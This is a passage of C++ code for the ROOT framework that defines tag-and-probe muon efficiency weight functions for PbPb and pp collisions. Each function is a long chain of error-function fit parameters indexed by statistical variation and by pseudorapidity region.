0.7198*TMath::Erf((x-1.4611)/0.3291);\n else if (idx == 62 ) num = 0.7255*TMath::Erf((x-0.8597)/0.9723);\n else if (idx == 63 ) num = 0.7052*TMath::Erf((x-1.1680)/0.5282);\n else if (idx == 64 ) num = 0.7187*TMath::Erf((x-0.2292)/1.5254);\n else if (idx == 65 ) num = 0.7240*TMath::Erf((x-0.8342)/0.9212);\n else if (idx == 66 ) num = 0.7119*TMath::Erf((x-0.8580)/0.8737);\n else if (idx == 67 ) num = 0.7247*TMath::Erf((x-0.7476)/0.9426);\n else if (idx == 68 ) num = 0.7120*TMath::Erf((x-0.6907)/0.9676);\n else if (idx == 69 ) num = 0.7366*TMath::Erf((x-0.6924)/1.0656);\n else if (idx == 70 ) num = 0.7145*TMath::Erf((x-0.9956)/0.7190);\n else if (idx == 71 ) num = 0.7154*TMath::Erf((x-0.5779)/1.0455);\n else if (idx == 72 ) num = 0.7234*TMath::Erf((x-1.3667)/0.4170);\n else if (idx == 73 ) num = 0.7078*TMath::Erf((x-1.0463)/0.6724);\n else if (idx == 74 ) num = 0.7196*TMath::Erf((x-1.0048)/0.7375);\n else if (idx == 75 ) num = 0.7302*TMath::Erf((x-0.4342)/1.3019);\n else if (idx == 76 ) num = 0.7233*TMath::Erf((x-0.7556)/0.9829);\n else if (idx == 77 ) num = 0.7194*TMath::Erf((x-0.8984)/0.8662);\n else if (idx == 78 ) num = 0.7196*TMath::Erf((x-0.9647)/0.8319);\n else if (idx == 79 ) num = 0.7177*TMath::Erf((x-0.8629)/0.8744);\n else if (idx == 80 ) num = 0.7390*TMath::Erf((x-0.6601)/1.1948);\n else if (idx == 81 ) num = 0.7124*TMath::Erf((x-1.0556)/0.7668);\n else if (idx == 82 ) num = 0.7085*TMath::Erf((x-1.1835)/0.5101);\n else if (idx == 83 ) num = 0.6993*TMath::Erf((x-0.7678)/0.7849);\n else if (idx == 84 ) num = 0.7196*TMath::Erf((x-0.3082)/1.2741);\n else if (idx == 85 ) num = 0.7185*TMath::Erf((x-0.8952)/0.8965);\n else if (idx == 86 ) num = 0.7186*TMath::Erf((x-1.1725)/0.5826);\n else if (idx == 87 ) num = 0.7163*TMath::Erf((x-0.9281)/0.7490);\n else if (idx == 88 ) num = 0.7296*TMath::Erf((x-0.6708)/1.0681);\n else if (idx == 89 ) num = 0.7110*TMath::Erf((x-1.0808)/0.6446);\n else if (idx == 90 ) num = 0.7182*TMath::Erf((x-0.7241)/1.0576);\n else if (idx == 91 ) num = 0.7340*TMath::Erf((x-1.2615)/0.5320);\n else if (idx == 92 ) num = 0.7063*TMath::Erf((x-0.9237)/0.7618);\n else if (idx == 93 ) num = 0.7128*TMath::Erf((x-0.7948)/0.9402);\n else if (idx == 94 ) num = 0.7241*TMath::Erf((x-0.3625)/1.2925);\n else if (idx == 95 ) num = 0.7076*TMath::Erf((x-0.8464)/0.8645);\n else if (idx == 96 ) num = 0.7150*TMath::Erf((x-1.0450)/0.6694);\n else if (idx == 97 ) num = 0.7211*TMath::Erf((x-0.4410)/1.3040);\n else if (idx == 98 ) num = 0.7290*TMath::Erf((x-0.3473)/1.4477);\n else if (idx == 99 ) num = 0.7269*TMath::Erf((x-0.8277)/0.9027);\n else if (idx == 100 ) num = 0.7260*TMath::Erf((x-0.8638)/0.9165);\n }\n\n // return\n return num/den;\n}\n\n/////////////////////////////////////////////////////////////\n// STA P b P b //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_statonly_sta_pbpb(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<1.6) den = 1.0000*TMath::Erf((x-1.5330)/2.8467);\n else den = 0.9523*TMath::Erf((x-0.7714)/2.0628);\n \n // numerator (from data)\n double num=1;\n if (fabs(eta)<1.6)\n {\n if (idx==0) num = 1.0000*TMath::Erf((x-1.3923)/2.3653);\n else if (idx == 1 ) num = 0.9283*TMath::Erf((x-0.8018)/0.5289);\n else if (idx == 2 ) num = 0.9868*TMath::Erf((x-1.7749)/1.9886);\n else if (idx == 3 ) num = 1.0000*TMath::Erf((x-1.4160)/2.6435);\n else if (idx == 4 ) num = 0.9903*TMath::Erf((x-1.7822)/2.0489);\n else if (idx == 5 ) num = 0.9925*TMath::Erf((x-1.7979)/1.9258);\n else if (idx == 6 ) num = 1.0000*TMath::Erf((x-1.5774)/2.0736);\n else if (idx == 7 ) num = 0.9770*TMath::Erf((x-1.3810)/2.2826);\n else if (idx == 8 ) num = 1.0000*TMath::Erf((x-0.4958)/3.6045);\n else if (idx == 9 ) num = 0.9969*TMath::Erf((x-1.8226)/1.9781);\n else if (idx == 10 ) num = 1.0000*TMath::Erf((x-1.5686)/2.3597);\n else if (idx == 11 ) num = 0.9926*TMath::Erf((x-0.0001)/3.7100);\n else if (idx == 12 ) num = 0.9875*TMath::Erf((x-1.9680)/1.6489);\n else if (idx == 13 ) num = 1.0000*TMath::Erf((x-1.4083)/2.0811);\n else if (idx == 14 ) num = 0.9955*TMath::Erf((x-0.0000)/3.2313);\n else if (idx == 15 ) num = 1.0000*TMath::Erf((x-0.1416)/3.7876);\n else if (idx == 16 ) num = 1.0000*TMath::Erf((x-1.8611)/1.8358);\n else if (idx == 17 ) num = 0.9938*TMath::Erf((x-1.8136)/1.9406);\n else if (idx == 18 ) num = 0.9734*TMath::Erf((x-1.9795)/1.6737);\n else if (idx == 19 ) num = 1.0000*TMath::Erf((x-1.0489)/2.9066);\n else if (idx == 20 ) num = 0.9898*TMath::Erf((x-1.5882)/2.0880);\n else if (idx == 21 ) num = 1.0000*TMath::Erf((x-0.7377)/3.4864);\n else if (idx == 22 ) num = 0.9880*TMath::Erf((x-2.0997)/1.5132);\n else if (idx == 23 ) num = 0.9846*TMath::Erf((x-1.9961)/1.3292);\n else if (idx == 24 ) num = 1.0000*TMath::Erf((x-1.3637)/2.3218);\n else if (idx == 25 ) num = 0.9774*TMath::Erf((x-0.0001)/3.2389);\n else if (idx == 26 ) num = 0.9825*TMath::Erf((x-1.5043)/2.1429);\n else if (idx == 27 ) num = 0.9750*TMath::Erf((x-2.0611)/1.5012);\n else if (idx == 28 ) num = 1.0000*TMath::Erf((x-0.8897)/2.9039);\n else if (idx == 29 ) num = 1.0000*TMath::Erf((x-1.7483)/1.9824);\n else if (idx == 30 ) num = 0.9998*TMath::Erf((x-0.0000)/3.2694);\n else if (idx == 31 ) num = 1.0000*TMath::Erf((x-1.1026)/2.5823);\n else if (idx == 32 ) num = 0.9948*TMath::Erf((x-1.4452)/2.4395);\n else if (idx == 33 ) num = 1.0000*TMath::Erf((x-1.6615)/2.1320);\n else if (idx == 34 ) num = 0.9805*TMath::Erf((x-1.7421)/1.7236);\n else if (idx == 35 ) num = 1.0000*TMath::Erf((x-1.5388)/2.2601);\n else if (idx == 36 ) num = 1.0000*TMath::Erf((x-0.0726)/3.5774);\n else if (idx == 37 ) num = 1.0000*TMath::Erf((x-0.7584)/2.9179);\n else if (idx == 38 ) num = 0.9978*TMath::Erf((x-1.6489)/2.0877);\n else if (idx == 39 ) num = 1.0000*TMath::Erf((x-0.0000)/3.6597);\n else if (idx == 40 ) num = 1.0000*TMath::Erf((x-0.5244)/3.3557);\n else if (idx == 41 ) num = 0.9591*TMath::Erf((x-0.0000)/2.8226);\n else if (idx == 42 ) num = 0.9920*TMath::Erf((x-1.6577)/2.1163);\n else if (idx == 43 ) num = 0.9849*TMath::Erf((x-1.4985)/2.1416);\n else if (idx == 44 ) num = 0.9888*TMath::Erf((x-1.9475)/1.4673);\n else if (idx == 45 ) num = 0.9936*TMath::Erf((x-0.0000)/3.9252);\n else if (idx == 46 ) num = 0.9711*TMath::Erf((x-2.0125)/1.4974);\n else if (idx == 47 ) num = 1.0000*TMath::Erf((x-0.0997)/3.4988);\n else if (idx == 48 ) num = 0.9848*TMath::Erf((x-0.0000)/3.1670);\n else if (idx == 49 ) num = 1.0000*TMath::Erf((x-0.7143)/3.4125);\n else if (idx == 50 ) num = 1.0000*TMath::Erf((x-1.6835)/1.8343);\n else if (idx == 51 ) num = 0.9965*TMath::Erf((x-0.9427)/2.8611);\n else if (idx == 52 ) num = 0.9792*TMath::Erf((x-1.7839)/1.7880);\n else if (idx == 53 ) num = 1.0000*TMath::Erf((x-0.3869)/3.4069);\n else if (idx == 54 ) num = 0.9141*TMath::Erf((x-0.5135)/0.0071);\n else if (idx == 55 ) num = 1.0000*TMath::Erf((x-0.8657)/2.9058);\n else if (idx == 56 ) num = 0.9934*TMath::Erf((x-1.6966)/1.9861);\n else if (idx == 57 ) num = 1.0000*TMath::Erf((x-0.2412)/3.7828);\n else if (idx == 58 ) num = 0.9996*TMath::Erf((x-0.2100)/3.7623);\n else if (idx == 59 ) num = 0.9804*TMath::Erf((x-0.0003)/3.0132);\n else if (idx == 60 ) num = 0.9962*TMath::Erf((x-1.1849)/2.6415);\n else if (idx == 61 ) num = 0.9928*TMath::Erf((x-1.3621)/2.4012);\n else if (idx == 62 ) num = 0.9927*TMath::Erf((x-1.8502)/2.0504);\n else if (idx == 63 ) num = 0.9747*TMath::Erf((x-2.0595)/1.3775);\n else if (idx == 64 ) num = 0.9961*TMath::Erf((x-0.0000)/3.8910);\n else if (idx == 65 ) num = 0.9991*TMath::Erf((x-0.3440)/3.5343);\n else if (idx == 66 ) num = 1.0000*TMath::Erf((x-0.9539)/2.9385);\n else if (idx == 67 ) num = 1.0000*TMath::Erf((x-0.4746)/3.1502);\n else if (idx == 68 ) num = 0.9999*TMath::Erf((x-0.3916)/2.9244);\n else if (idx == 69 ) num = 0.9903*TMath::Erf((x-2.0334)/1.6224);\n else if (idx == 70 ) num = 1.0000*TMath::Erf((x-1.4297)/2.2086);\n else if (idx == 71 ) num = 0.9927*TMath::Erf((x-1.6644)/2.1629);\n else if (idx == 72 ) num = 0.9813*TMath::Erf((x-1.9220)/1.4614);\n else if (idx == 73 ) num = 0.9940*TMath::Erf((x-1.8761)/1.8066);\n else if (idx == 74 ) num = 1.0000*TMath::Erf((x-1.2272)/2.8578);\n else if (idx == 75 ) num = 0.9993*TMath::Erf((x-0.0000)/4.0548);\n else if (idx == 76 ) num = 0.9962*TMath::Erf((x-1.1186)/2.6701);\n else if (idx == 77 ) num = 1.0000*TMath::Erf((x-2.2248)/1.6407);\n else if (idx == 78 ) num = 0.9201*TMath::Erf((x-0.7350)/0.5938);\n else if (idx == 79 ) num = 1.0000*TMath::Erf((x-2.0484)/1.8119);\n else if (idx == 80 ) num = 0.9896*TMath::Erf((x-1.8440)/1.8845);\n else if (idx == 81 ) num = 0.9763*TMath::Erf((x-0.0000)/3.1158);\n else if (idx == 82 ) num = 0.9861*TMath::Erf((x-1.7270)/1.8453);\n else if (idx == 83 ) num = 0.9908*TMath::Erf((x-2.1229)/1.6275);\n else if (idx == 84 ) num = 0.9853*TMath::Erf((x-1.8884)/1.9027);\n else if (idx == 85 ) num = 0.9293*TMath::Erf((x-0.0890)/0.7586);\n else if (idx == 86 ) num = 1.0000*TMath::Erf((x-0.0000)/3.6480);\n else if (idx == 87 ) num = 1.0000*TMath::Erf((x-1.5143)/2.1569);\n else if (idx == 88 ) num = 1.0000*TMath::Erf((x-1.2379)/2.7417);\n else if (idx == 89 ) num = 0.9804*TMath::Erf((x-1.9632)/1.7749);\n else if (idx == 90 ) num = 0.9922*TMath::Erf((x-0.0000)/3.3929);\n else if (idx == 91 ) num = 0.9999*TMath::Erf((x-0.1489)/3.4288);\n else if (idx == 92 ) num = 0.9909*TMath::Erf((x-1.8919)/1.9758);\n else if (idx == 93 ) num = 1.0000*TMath::Erf((x-1.5316)/2.0938);\n else if (idx == 94 ) num = 1.0000*TMath::Erf((x-1.0332)/2.6627);\n else if (idx == 95 ) num = 1.0000*TMath::Erf((x-1.5943)/2.3619);\n else if (idx == 96 ) num = 0.9872*TMath::Erf((x-1.4365)/2.3545);\n else if (idx == 97 ) num = 1.0000*TMath::Erf((x-1.0721)/2.6454);\n else if (idx == 98 ) num = 0.9996*TMath::Erf((x-1.5998)/2.2637);\n else if (idx == 99 ) num = 0.9918*TMath::Erf((x-1.7687)/2.0543);\n else if (idx == 100 ) num = 0.9998*TMath::Erf((x-0.9006)/2.9964);\n }\n else\n {\n if (idx==0) num = 1.0000*TMath::Erf((x-0.0000)/2.5236);\n else if (idx == 1 ) num = 0.9481*TMath::Erf((x-0.0849)/2.2089);\n else if (idx == 2 ) num = 0.9996*TMath::Erf((x-1.3096)/0.9030);\n else if (idx == 3 ) num = 0.8967*TMath::Erf((x-0.1596)/0.0350);\n else if (idx == 4 ) num = 0.9658*TMath::Erf((x-0.0001)/3.0949);\n else if (idx == 5 ) num = 0.9345*TMath::Erf((x-1.9142)/0.3056);\n else if (idx == 6 ) num = 0.9618*TMath::Erf((x-0.0000)/2.4833);\n else if (idx == 7 ) num = 0.9770*TMath::Erf((x-1.2350)/1.3051);\n else if (idx == 8 ) num = 0.9194*TMath::Erf((x-0.0375)/0.4098);\n else if (idx == 9 ) num = 0.9316*TMath::Erf((x-0.8750)/1.4891);\n else if (idx == 10 ) num = 0.8889*TMath::Erf((x-0.0006)/1.1938);\n else if (idx == 11 ) num = 0.9818*TMath::Erf((x-1.9088)/0.5913);\n else if (idx == 12 ) num = 0.9292*TMath::Erf((x-1.3054)/0.8822);\n else if (idx == 13 ) num = 1.0000*TMath::Erf((x-1.4920)/0.8120);\n else if (idx == 14 ) num = 0.9845*TMath::Erf((x-1.4083)/1.1613);\n else if (idx == 15 ) num = 1.0000*TMath::Erf((x-0.0000)/1.4744);\n else if (idx == 16 ) num = 1.0000*TMath::Erf((x-0.0000)/1.6014);\n else if (idx == 17 ) num = 0.9634*TMath::Erf((x-1.1828)/1.5872);\n else if (idx == 18 ) num = 0.9743*TMath::Erf((x-0.1075)/0.5607);\n else if (idx == 19 ) num = 1.0000*TMath::Erf((x-0.0000)/1.6534);\n else if (idx == 20 ) num = 0.9716*TMath::Erf((x-0.0000)/3.5458);\n else if (idx == 21 ) num = 0.9863*TMath::Erf((x-0.7443)/1.9888);\n else if (idx == 22 ) num = 0.9154*TMath::Erf((x-0.0000)/2.5909);\n else if (idx == 23 ) num = 0.9659*TMath::Erf((x-0.0003)/2.1273);\n else if (idx == 24 ) num = 0.9379*TMath::Erf((x-0.0000)/2.3490);\n else if (idx == 25 ) num = 0.9382*TMath::Erf((x-1.6603)/0.7597);\n else if (idx == 26 ) num = 1.0000*TMath::Erf((x-0.4792)/2.8892);\n else if (idx == 27 ) num = 0.8915*TMath::Erf((x-0.9596)/1.4987);\n else if (idx == 28 ) num = 0.9541*TMath::Erf((x-1.5233)/1.0554);\n else if (idx == 29 ) num = 0.9172*TMath::Erf((x-0.5824)/0.2982);\n else if (idx == 30 ) num = 0.9455*TMath::Erf((x-0.0000)/2.6653);\n else if (idx == 31 ) num = 0.9132*TMath::Erf((x-0.0000)/2.2027);\n else if (idx == 32 ) num = 0.9725*TMath::Erf((x-0.0000)/2.3295);\n else if (idx == 33 ) num = 0.9245*TMath::Erf((x-0.3694)/0.1234);\n else if (idx == 34 ) num = 0.9999*TMath::Erf((x-0.8412)/2.0811);\n else if (idx == 35 ) num = 0.9350*TMath::Erf((x-0.0000)/1.5345);\n else if (idx == 36 ) num = 0.9778*TMath::Erf((x-0.0010)/2.1844);\n else if (idx == 37 ) num = 0.9440*TMath::Erf((x-1.0147)/1.3931);\n else if (idx == 38 ) num = 0.8931*TMath::Erf((x-0.0000)/1.4232);\n else if (idx == 39 ) num = 0.9349*TMath::Erf((x-0.0003)/1.4833);\n else if (idx == 40 ) num = 0.9981*TMath::Erf((x-0.7159)/2.4867);\n else if (idx == 41 ) num = 0.9485*TMath::Erf((x-0.0190)/1.6502);\n else if (idx == 42 ) num = 0.9828*TMath::Erf((x-1.8482)/0.3688);\n else if (idx == 43 ) num = 0.8920*TMath::Erf((x-0.0000)/2.4177);\n else if (idx == 44 ) num = 0.9825*TMath::Erf((x-0.6906)/2.3246);\n else if (idx == 45 ) num = 0.9415*TMath::Erf((x-1.6796)/0.4253);\n else if (idx == 46 ) num = 0.9338*TMath::Erf((x-0.0000)/1.9540);\n else if (idx == 47 ) num = 0.9811*TMath::Erf((x-0.0037)/2.2145);\n else if (idx == 48 ) num = 0.9645*TMath::Erf((x-0.2542)/2.4347);\n else if (idx == 49 ) num = 0.9831*TMath::Erf((x-0.0812)/2.8224);\n else if (idx == 50 ) num = 0.9812*TMath::Erf((x-1.1246)/1.5953);\n else if (idx == 51 ) num = 0.9993*TMath::Erf((x-0.0371)/2.3661);\n else if (idx == 52 ) num = 0.9907*TMath::Erf((x-0.0000)/2.6140);\n else if (idx == 53 ) num = 0.9787*TMath::Erf((x-0.6703)/1.8302);\n else if (idx == 54 ) num = 1.0000*TMath::Erf((x-0.0000)/1.7561);\n else if (idx == 55 ) num = 0.9759*TMath::Erf((x-0.0003)/2.2481);\n else if (idx == 56 ) num = 0.9239*TMath::Erf((x-0.0975)/0.5731);\n else if (idx == 57 ) num = 0.9709*TMath::Erf((x-0.0000)/3.0655);\n else if (idx == 58 ) num = 0.9833*TMath::Erf((x-0.7716)/1.7703);\n else if (idx == 59 ) num = 0.9750*TMath::Erf((x-0.6364)/2.0577);\n else if (idx == 60 ) num = 0.9498*TMath::Erf((x-0.0000)/2.0481);\n else if (idx == 61 ) num = 0.9715*TMath::Erf((x-0.1071)/2.5381);\n else if (idx == 62 ) num = 0.9770*TMath::Erf((x-1.2199)/1.1753);\n else if (idx == 63 ) num = 0.9663*TMath::Erf((x-0.0000)/2.2335);\n else if (idx == 64 ) num = 0.9013*TMath::Erf((x-0.0000)/1.0804);\n else if (idx == 65 ) num = 0.9686*TMath::Erf((x-0.9913)/1.7118);\n else if (idx == 66 ) num = 0.9688*TMath::Erf((x-0.6639)/1.7225);\n else if (idx == 67 ) num = 1.0000*TMath::Erf((x-0.0000)/1.7845);\n else if (idx == 68 ) num = 0.9623*TMath::Erf((x-1.5257)/1.4312);\n else if (idx == 69 ) num = 0.9621*TMath::Erf((x-1.6150)/1.2423);\n else if (idx == 70 ) num = 0.9270*TMath::Erf((x-0.0000)/1.9903);\n else if (idx == 71 ) num = 0.9760*TMath::Erf((x-1.7702)/0.8194);\n else if (idx == 72 ) num = 0.9524*TMath::Erf((x-0.0001)/2.7170);\n else if (idx == 73 ) num = 0.9645*TMath::Erf((x-0.1824)/3.1196);\n else if (idx == 74 ) num = 0.9932*TMath::Erf((x-0.0009)/2.9151);\n else if (idx == 75 ) num = 0.9762*TMath::Erf((x-1.5698)/0.4964);\n else if (idx == 76 ) num = 0.9714*TMath::Erf((x-1.0898)/2.1112);\n else if (idx == 77 ) num = 0.9827*TMath::Erf((x-0.0000)/2.8155);\n else if (idx == 78 ) num = 1.0000*TMath::Erf((x-1.0160)/2.3801);\n else if (idx == 79 ) num = 0.9361*TMath::Erf((x-0.0000)/2.1362);\n else if (idx == 80 ) num = 0.9540*TMath::Erf((x-0.0000)/2.1662);\n else if (idx == 81 ) num = 0.8751*TMath::Erf((x-0.0004)/0.5563);\n else if (idx == 82 ) num = 0.9617*TMath::Erf((x-0.0000)/2.5312);\n else if (idx == 83 ) num = 0.8804*TMath::Erf((x-0.0983)/0.0548);\n else if (idx == 84 ) num = 0.9312*TMath::Erf((x-0.0000)/1.6475);\n else if (idx == 85 ) num = 0.9952*TMath::Erf((x-0.0000)/2.7972);\n else if (idx == 86 ) num = 0.9543*TMath::Erf((x-1.0253)/1.7480);\n else if (idx == 87 ) num = 0.9646*TMath::Erf((x-0.8327)/2.0778);\n else if (idx == 88 ) num = 0.9106*TMath::Erf((x-0.0000)/0.6538);\n else if (idx == 89 ) num = 0.9984*TMath::Erf((x-1.3079)/1.8279);\n else if (idx == 90 ) num = 0.9728*TMath::Erf((x-1.8799)/0.6634);\n else if (idx == 91 ) num = 0.9142*TMath::Erf((x-0.0000)/1.8201);\n else if (idx == 92 ) num = 0.9767*TMath::Erf((x-0.6746)/2.0199);\n else if (idx == 93 ) num = 0.9775*TMath::Erf((x-0.2966)/2.0325);\n else if (idx == 94 ) num = 0.9490*TMath::Erf((x-0.0173)/1.5980);\n else if (idx == 95 ) num = 0.9913*TMath::Erf((x-1.6699)/0.9143);\n else if (idx == 96 ) num = 0.9619*TMath::Erf((x-1.4579)/0.9687);\n else if (idx == 97 ) num = 0.9690*TMath::Erf((x-0.0000)/2.6891);\n else if (idx == 98 ) num = 0.9806*TMath::Erf((x-0.0001)/3.0291);\n else if (idx == 99 ) num = 0.9355*TMath::Erf((x-0.0000)/2.0367);\n else if (idx == 100 ) num = 0.9739*TMath::Erf((x-0.4478)/2.4355);\n }\n\n // return\n return num/den;\n}\n\n/////////////////////////////////////////////////////////////\n// STA P P //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_statonly_sta_pp(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<1.6) den = 0.9911*TMath::Erf((x-1.4336)/2.8548);\n else den = den = 0.9132*TMath::Erf((x-0.8045)/1.8366);\n \n // numerator (from data)\n double num=1;\n if (fabs(eta)<1.6)\n {\n if (idx==0) num = 0.9891*TMath::Erf((x-1.4814)/2.5014);\n else if (idx == 1 ) num = 0.9997*TMath::Erf((x-1.2305)/2.8470);\n else if (idx == 2 ) num = 0.9808*TMath::Erf((x-1.6531)/2.2358);\n else if (idx == 3 ) num = 0.9841*TMath::Erf((x-1.5142)/2.5031);\n else if (idx == 4 ) num = 0.9885*TMath::Erf((x-1.5256)/2.4544);\n else if (idx == 5 ) num = 0.9825*TMath::Erf((x-1.4605)/2.4849);\n else if (idx == 6 ) num = 0.9792*TMath::Erf((x-1.4838)/2.4373);\n else if (idx == 7 ) num = 0.9958*TMath::Erf((x-1.5510)/2.4435);\n else if (idx == 8 ) num = 0.9863*TMath::Erf((x-1.5458)/2.4393);\n else if (idx == 9 ) num = 0.9798*TMath::Erf((x-1.5607)/2.3604);\n else if (idx == 10 ) num = 0.9781*TMath::Erf((x-1.4435)/2.4518);\n else if (idx == 11 ) num = 0.9760*TMath::Erf((x-1.5528)/2.4327);\n else if (idx == 12 ) num = 0.9988*TMath::Erf((x-1.4017)/2.6770);\n else if (idx == 13 ) num = 0.9878*TMath::Erf((x-1.5813)/2.3393);\n else if (idx == 14 ) num = 0.9823*TMath::Erf((x-1.5285)/2.4336);\n else if (idx == 15 ) num = 0.9714*TMath::Erf((x-1.5666)/2.3340);\n else if (idx == 16 ) num = 1.0000*TMath::Erf((x-1.5067)/2.5766);\n else if (idx == 17 ) num = 0.9794*TMath::Erf((x-1.5532)/2.4038);\n else if (idx == 18 ) num = 0.9831*TMath::Erf((x-1.6256)/2.2598);\n else if (idx == 19 ) num = 0.9972*TMath::Erf((x-1.3103)/2.7837);\n else if (idx == 20 ) num = 0.9777*TMath::Erf((x-1.6366)/2.2356);\n else if (idx == 21 ) num = 0.9921*TMath::Erf((x-1.4602)/2.5783);\n else if (idx == 22 ) num = 0.9787*TMath::Erf((x-1.5735)/2.2953);\n else if (idx == 23 ) num = 0.9908*TMath::Erf((x-1.5606)/2.3858);\n else if (idx == 24 ) num = 0.9686*TMath::Erf((x-1.5499)/2.2851);\n else if (idx == 25 ) num = 0.9839*TMath::Erf((x-1.5491)/2.3801);\n else if (idx == 26 ) num = 0.9704*TMath::Erf((x-1.5020)/2.3000);\n else if (idx == 27 ) num = 0.9962*TMath::Erf((x-1.5253)/2.5331);\n else if (idx == 28 ) num = 0.9877*TMath::Erf((x-1.4312)/2.5322);\n else if (idx == 29 ) num = 0.9809*TMath::Erf((x-1.4750)/2.5360);\n else if (idx == 30 ) num = 0.9964*TMath::Erf((x-1.3416)/2.7330);\n else if (idx == 31 ) num = 0.9882*TMath::Erf((x-1.3116)/2.7141);\n else if (idx == 32 ) num = 0.9734*TMath::Erf((x-1.4982)/2.4234);\n else if (idx == 33 ) num = 0.9837*TMath::Erf((x-1.5326)/2.3887);\n else if (idx == 34 ) num = 0.9927*TMath::Erf((x-1.3951)/2.6987);\n else if (idx == 35 ) num = 0.9864*TMath::Erf((x-1.4228)/2.5776);\n else if (idx == 36 ) num = 0.9866*TMath::Erf((x-1.4885)/2.5036);\n else if (idx == 37 ) num = 0.9932*TMath::Erf((x-1.4908)/2.5735);\n else if (idx == 38 ) num = 0.9996*TMath::Erf((x-1.3992)/2.6534);\n else if (idx == 39 ) num = 0.9794*TMath::Erf((x-1.5634)/2.3570);\n else if (idx == 40 ) num = 0.9768*TMath::Erf((x-1.4562)/2.4804);\n else if (idx == 41 ) num = 0.9984*TMath::Erf((x-1.4645)/2.5347);\n else if (idx == 42 ) num = 0.9864*TMath::Erf((x-1.3932)/2.6099);\n else if (idx == 43 ) num = 0.9996*TMath::Erf((x-1.4791)/2.5683);\n else if (idx == 44 ) num = 0.9684*TMath::Erf((x-1.4392)/2.4518);\n else if (idx == 45 ) num = 0.9763*TMath::Erf((x-1.4217)/2.4716);\n else if (idx == 46 ) num = 0.9948*TMath::Erf((x-1.4627)/2.5648);\n else if (idx == 47 ) num = 0.9998*TMath::Erf((x-1.3571)/2.6758);\n else if (idx == 48 ) num = 0.9752*TMath::Erf((x-1.5850)/2.3455);\n else if (idx == 49 ) num = 0.9818*TMath::Erf((x-1.4742)/2.4910);\n else if (idx == 50 ) num = 0.9945*TMath::Erf((x-1.4668)/2.5607);\n else if (idx == 51 ) num = 0.9940*TMath::Erf((x-1.4846)/2.5226);\n else if (idx == 52 ) num = 0.9768*TMath::Erf((x-1.6064)/2.2607);\n else if (idx == 53 ) num = 0.9916*TMath::Erf((x-1.3411)/2.6676);\n else if (idx == 54 ) num = 0.9842*TMath::Erf((x-1.5723)/2.3520);\n else if (idx == 55 ) num = 0.9890*TMath::Erf((x-1.5482)/2.3999);\n else if (idx == 56 ) num = 0.9759*TMath::Erf((x-1.4152)/2.5205);\n else if (idx == 57 ) num = 0.9845*TMath::Erf((x-1.4162)/2.5878);\n else if (idx == 58 ) num = 0.9759*TMath::Erf((x-1.7060)/2.1569);\n else if (idx == 59 ) num = 0.9952*TMath::Erf((x-1.2909)/2.7459);\n else if (idx == 60 ) num = 0.9740*TMath::Erf((x-1.5456)/2.4154);\n else if (idx == 61 ) num = 0.9921*TMath::Erf((x-1.2999)/2.7547);\n else if (idx == 62 ) num = 0.9790*TMath::Erf((x-1.5088)/2.5043);\n else if (idx == 63 ) num = 0.9705*TMath::Erf((x-1.5901)/2.3125);\n else if (idx == 64 ) num = 0.9907*TMath::Erf((x-1.2406)/2.7966);\n else if (idx == 65 ) num = 0.9776*TMath::Erf((x-1.5751)/2.3212);\n else if (idx == 66 ) num = 0.9871*TMath::Erf((x-1.5730)/2.3779);\n else if (idx == 67 ) num = 0.9925*TMath::Erf((x-1.5635)/2.4470);\n else if (idx == 68 ) num = 0.9951*TMath::Erf((x-1.4928)/2.5688);\n else if (idx == 69 ) num = 0.9850*TMath::Erf((x-1.4419)/2.5940);\n else if (idx == 70 ) num = 0.9827*TMath::Erf((x-1.4959)/2.4007);\n else if (idx == 71 ) num = 0.9793*TMath::Erf((x-1.6164)/2.2787);\n else if (idx == 72 ) num = 0.9694*TMath::Erf((x-1.4133)/2.4945);\n else if (idx == 73 ) num = 0.9874*TMath::Erf((x-1.4365)/2.5503);\n else if (idx == 74 ) num = 0.9917*TMath::Erf((x-1.3423)/2.6975);\n else if (idx == 75 ) num = 0.9807*TMath::Erf((x-1.4708)/2.4584);\n else if (idx == 76 ) num = 0.9938*TMath::Erf((x-1.4043)/2.6676);\n else if (idx == 77 ) num = 0.9818*TMath::Erf((x-1.5339)/2.4156);\n else if (idx == 78 ) num = 0.9967*TMath::Erf((x-1.4764)/2.5805);\n else if (idx == 79 ) num = 0.9674*TMath::Erf((x-1.4919)/2.4139);\n else if (idx == 80 ) num = 0.9867*TMath::Erf((x-1.4662)/2.4670);\n else if (idx == 81 ) num = 0.9877*TMath::Erf((x-1.6161)/2.3018);\n else if (idx == 82 ) num = 0.9770*TMath::Erf((x-1.6503)/2.1851);\n else if (idx == 83 ) num = 0.9997*TMath::Erf((x-1.3749)/2.6550);\n else if (idx == 84 ) num = 1.0000*TMath::Erf((x-1.4090)/2.6545);\n else if (idx == 85 ) num = 0.9845*TMath::Erf((x-1.3795)/2.5452);\n else if (idx == 86 ) num = 0.9855*TMath::Erf((x-1.5484)/2.3563);\n else if (idx == 87 ) num = 0.9614*TMath::Erf((x-1.5913)/2.2771);\n else if (idx == 88 ) num = 0.9702*TMath::Erf((x-1.5391)/2.3327);\n else if (idx == 89 ) num = 0.9880*TMath::Erf((x-1.3903)/2.6074);\n else if (idx == 90 ) num = 0.9873*TMath::Erf((x-1.5271)/2.4336);\n else if (idx == 91 ) num = 0.9873*TMath::Erf((x-1.5820)/2.3645);\n else if (idx == 92 ) num = 0.9783*TMath::Erf((x-1.4245)/2.5306);\n else if (idx == 93 ) num = 0.9831*TMath::Erf((x-1.4624)/2.4908);\n else if (idx == 94 ) num = 0.9872*TMath::Erf((x-1.4791)/2.5078);\n else if (idx == 95 ) num = 0.9885*TMath::Erf((x-1.5323)/2.3743);\n else if (idx == 96 ) num = 0.9855*TMath::Erf((x-1.5063)/2.4558);\n else if (idx == 97 ) num = 0.9748*TMath::Erf((x-1.5128)/2.3255);\n else if (idx == 98 ) num = 0.9771*TMath::Erf((x-1.4117)/2.5177);\n else if (idx == 99 ) num = 0.9759*TMath::Erf((x-1.5152)/2.3957);\n else if (idx == 100 ) num = 0.9944*TMath::Erf((x-1.4125)/2.5834);\n }\n else\n {\n if (idx==0) num = 0.8956*TMath::Erf((x-0.5162)/1.7646);\n else if (idx == 1 ) num = 0.8598*TMath::Erf((x-0.3794)/1.6775);\n else if (idx == 2 ) num = 0.9071*TMath::Erf((x-0.7765)/1.5351);\n else if (idx 